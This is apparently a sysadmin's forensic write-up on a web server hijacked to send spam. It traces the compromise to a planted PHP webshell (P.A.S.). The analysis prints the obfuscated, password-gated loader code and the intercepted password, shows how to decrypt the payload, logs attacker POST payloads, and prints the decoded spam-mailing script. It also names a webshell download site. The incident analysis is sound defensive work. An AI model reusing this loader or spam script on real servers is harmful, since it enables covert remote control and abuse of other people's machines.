Forensics on Incident 3

Context

2014-03-20 a friend's server is suspected to send spams

analysis

Almost no logs available, oldest log entry from Exim was 2014-03-18 00:37:59 so two days earlier.
Exim logs confirm a lot of spam is being sent by the server.
I installed a few forensics tools to gather more info.
Ideally, it would be better to do it from outside of the virtual machine

apt-get install tct sleuthkit
fls -r -m / /dev/xvda2 > xvda2.dump
mactime-sleuthkit -b xvda2.dump -p /etc/passwd 2014-01-01 > xvda2.dump.mac

Analysis of the timeline shows that on 2014-03-18 after midnight a lot of files were deleted and some error log, I forgot which one, mentioned "disk full". So what happened was what I suspected: the administrator cleaned some files, maybe logfiles too, to free some space.

In /var/spool/exim4/input/ I find emails in the queue, oldest from 2014-03-14 22:16, containing spam, and sent from www-data@hostname.
So problem was present before 2014-03-18
295738 emails are still in exim4 queue, oops
So I clean the queue, which seems to be not that easy:

exim4 -bp|grep -o "1W[[:alnum:]-]*"|xargs -n 1 exim4 -Mrm

Most is gone but the queue keeps being filled, so the malware is still active from the Apache user (www-data).
At this point I stop exim4 and apache
With mactime timeline I identify two suspect files:

2014-03-05 12:35 /var/www/.../spip/tmp/cache/skel/html____php_eval_base64_decode___POST_evv________php___d3135576b1e1eae4241edc0e24a2b047.php
2014-03-06 14:50 /var/www/.../spip/ecrire/lang/hsys.php

Exim4 logfiles revealed that on 24h, about 20.000 emails were successfully sent, so

hsys.php

Is likely to be the malicious gift.
I kept a copy and started again exim4 with an eye kept open on the logs & queue.
I started Apache not before having configured some decent logging, which was simply disabled up to now.
hsys.php contains an encrypted payload, impossible to decrypt without the password submitted via POST or in a cookie.
I thought of doing some cryptanalysis but the plaintext to look for is gzipped.
Here is the code, with a truncated payload, and a bit of indentation:

<?php $wp__wp='base'.(32*2).'_de'.'code';$wp__wp=$wp__wp(str_replace("\n", '', 'P7NA4RFrFxj ..... ZCbTBLY='));
$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);
if($wp_wp!==NULL){
 $wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));
 for($wp___wp=0;$wp___wp<15185;$wp___wp++){
  $wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);
  $wp_wp.=$wp__wp[$wp___wp];
 }
 if($wp__wp=@gzinflate($wp__wp)){
  if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);
  $wp___wp=create_function('',$wp__wp);
  unset($wp__wp,$wp_wp);
  $wp___wp();
 }
}?>
<form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

While watching the logs I saw repetitive attempts to access the hsys.php
That would be actually a good way to learn the password, so I created a new hsys.php:

<?php 
$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);
if($wp_wp!==NULL){
  $myFile = "/tmp/hsys.log";
  $fh = fopen($myFile, 'a');
  fwrite($fh, $wp_wp);
  fwrite($fh, '\n');
  fclose($fh);
}
?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

After two seconds I got the password: huypizdaprovoda
Sounds russian... хуй пизда провода translates to "dick pussy wires"...
IPs of the scripts trying to communicate with hsys.php are actually belonging to Russia too:

cat /var/log/apache2/error.log |grep -o "188.143[.0-9]*"|sort|uniq
188.143.232.147
188.143.232.189
188.143.232.30
188.143.232.45
188.143.233.136

Geoip:

188.143.232.147	RU	Saint-Petersburg, Petersburg Internet Network LLC
188.143.233.136	RU	Moscow,	Petersburg Internet Network LLC

With the password we can decrypt the payload, just assign $wp_wp:

$wp_wp="huypizdaprovoda";
if($wp_wp!==NULL){
 $wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));
 for($wp___wp=0;$wp___wp<15185;$wp___wp++){
  $wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);
  $wp_wp.=$wp__wp[$wp___wp];
 }
 if($wp__wp=@gzinflate($wp__wp)) print $wp__wp;

This returns the payload, which can be encapsulated as:

<?php 
function foo () {
  ...payload...
}
foo();
?>

The payload looks like a webshell and I found similar stuff on russian forum when googling for strings of the wrapper.
So I restored my copy in another location and accessed it with a browser.
This gave indeed a nice webshell with command line execution, php code execution, file browser, SQL client, pwd brute-force, reverse shell etc etc
It was labeled P.A.S. v.3.0.10
Googling lead me to http://profexer.name/pas/download.php where anyone can get his own encrypted version of the webshell.
Typing in the password I intercepted gave me some php code with exactly the same encrypted payload.
This site refers also the the russian forum discussion I found previously.

Still, I wanted to know what kind of instructions were sent to the webshell by those robots busy knocking at the door.
So I restored for a brief moment the original where I log the POST requests

$myFile = "/tmp/hsys-post.log";
$fh = fopen($myFile, 'a');
fwrite($fh, print_r($_POST, true));
fwrite($fh, '\n');
fclose($fh);

Then I stopped exim, apache, cleaned the exim queue, removed the script, and started it all again.
The log file revealed many payloads in a short time:

Array
(
    [sc] => 
    [wp_wp] => huypizdaprovoda
    [pass] => huypizdaprovoda
    [ev] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [php] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [nst_cmd] => goto
    [act] => eval
    [eval] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [eval_txt] => 1
    [nst_tmp] => tools
    [php_ev_c] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [cmd] => 
    [php_eval] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
    [a] => Php
    [p1] => eval(base64_decode(rawurldecode("ZWNo...OHEnOw==")));
)

Sounds like a brute-force of all the different ways webshells may execute php code :-)
Payload decoding reveals the following: see it at http://www.unphp.net/decode/e3fc3548b7c14a8548b24c8b82544dea/

<?php echo 'l0978q';
error_reporting(0);
ini_set("mail.add_x_header", "0");
$_SERVER["SCRIPT_URL"] = "http://" . $_SERVER["HTTP_HOST"] . "/index.php";
$_SERVER["SCRIPT_URI"] = "http://" . $_SERVER["HTTP_HOST"] . "/index.php";
$_SERVER["REMOTE_ADDR"] = "192.168.0.1";
$_SERVER["HTTP_REFERER"] = "";
$_SERVER["SCRIPT_FILENAME"] = "";
$_SERVER["PHP_SELF"] = "/index.php";
$_SERVER["REQUEST_URI"] = "/index.php";
$_SERVER["SCRIPT_NAME"] = "/index.php";
echo mail("#REDACTED#@gmail.com
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
", "Get your   drugs iin nooo time  thaaannnks ttto quick shipping", "BBuy thhe best qqualiity geeeneric andd nmee brnnds onlne with worldwwwidee  shippping.

http://thenmozhi.org/oldfiles/backup/uw8ck.php", "From: wpsbhy@" . $_SERVER['SERVER_NAME'] . "
" . "Reply-To: wpsbhy@" . $_SERVER['SERVER_NAME']);
echo 'l0978q';

Interesting to see it tries to overwrite $_SERVER variables, probably to hide itself from the logs, while I'm not sure how much it works.
Remaining is typical spam, with still some intriguing javascript following the email address (and not the body).